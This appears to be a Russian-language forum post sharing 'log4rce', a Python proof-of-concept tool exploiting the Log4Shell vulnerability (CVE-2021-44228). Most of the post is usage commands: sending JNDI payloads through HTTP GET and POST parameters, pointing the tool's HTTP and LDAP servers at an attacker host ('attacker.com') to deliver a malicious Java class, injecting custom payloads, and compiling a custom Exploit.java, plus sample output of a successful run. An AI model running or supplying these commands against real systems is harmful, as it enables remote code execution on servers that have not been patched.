Vander
Staff member
- Nov 10, 2019
- 468
- 1,158
Универсальный чистый Python3 PoC для CVE-2021-44228.
Пример:
Code:
python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
Code:
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
Code:
python3 log4rce.py --help
Режимы атаки:
Инструмент позволяет использовать несколько режимов атаки. Эти атаки являются расширением класса Log4RCE.
- HTTP
Вы можете выполнить запрос GET следующим образом:
Code:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
Code:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
Руководство:
Если вы не можете использовать что-либо из предыдущего, используйте этот режим для сброса тега JDNI:
Code:
python3 log4rce.py manual
Инструмент позволяет выполнять обширную настройку для большинства сетевых конфигураций. Все внутренние серверы можно изменить так, чтобы они указывали на разные места в соответствии с удаленными настройками.
- HTTP-сервер
Code:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
Code:
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
- LDAP Server
Code:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
Code:
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
Инструмент позволяет обрабатывать некоторые настройки. Ниже перечислены некоторые функции, которые могут вас заинтересовать.
- Внедрение полезной нагрузки
Code:
python3 log4rce.py --payload "PAYLOAD"
Пользовательские полезные нагрузки Java:
Вы можете создать свой собственный класс Java, используя следующее.
Code:
javac -source 1.7 -target 1.7 /path/to/Exploit.java
Code:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
Github:
Code:
https://github.com/alexandre-lavoie/python-log4rce